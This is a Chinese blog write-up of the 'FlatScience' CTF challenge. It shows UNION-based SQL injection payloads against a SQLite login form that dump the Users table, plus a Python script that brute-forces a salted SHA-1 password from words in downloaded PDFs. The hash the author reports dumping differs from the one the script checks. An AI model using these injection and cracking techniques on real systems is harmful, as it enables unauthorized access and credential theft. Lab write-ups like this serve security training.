攻防世界-FlatScience

打开题目,左右看了看,就是一些文章,试了下robots.txt,看到两个php

挨个访问,发现admin.php和login.ogo都是一个登陆页面,不过admin.php有一个默认的admin账号,猜测应该是获取到密码拿到flag,我们看看login.php里面有什么

 在login.php页面里,我习惯性的先看一下源码,发现了一个?debug

 提交过后,返回了一段源码,

这里我们看到数据库是SQLite3,不是MySQL,在sqlite数据库有一张sqlite_master表,存放着相关信息

我们闭合语句进行注入 ,1' union select 1,2 --+

1' union select name,sql from sqlite_master --+ 

 我们将id.name,password,hint读取

构造查询password的SQL:usr=1' union select id, password from Users–+&pw=1
构造查询name的SQL:usr=1' union select id, name from Users --+&pw=1
构造查询hint的SQL:usr=1' union select id, hint from Users–+&pw=1

读取的内容(一共三个,这里就给大家列出一个):

1 admin 34b0bb7c304949f9ff2fc101eef0f048be10d3bd my fav word in my fav paper?!

这里提示就是在所有文章里找到一个词并加上Salz然后经过sha1加密得到的值与34b0bb7c304949f9ff2fc101eef0f048be10d3bd一样的即为密码

我这里偷了个懒,直接用在线的网站解密后,去掉Salz!即为密码

 在admin.php页面中登录即可拿到flag

正常的流程应该是用kaili的wget命令将全部的pdf下载下来,由于本菜鸡太菜,不会写脚本,就借用大佬的脚本给你们看一看

from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib

def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]


def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text


def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print "Searching word in " + i
        pdf_text = convert_pdf_2_text(i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
            if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
                print "Find the password :" + word
                exit()

if __name__ == "__main__":
    find_password()

解密后也可以拿到密码,登陆即可获得flag

猜你喜欢

转载自blog.csdn.net/m0_47571887/article/details/121430951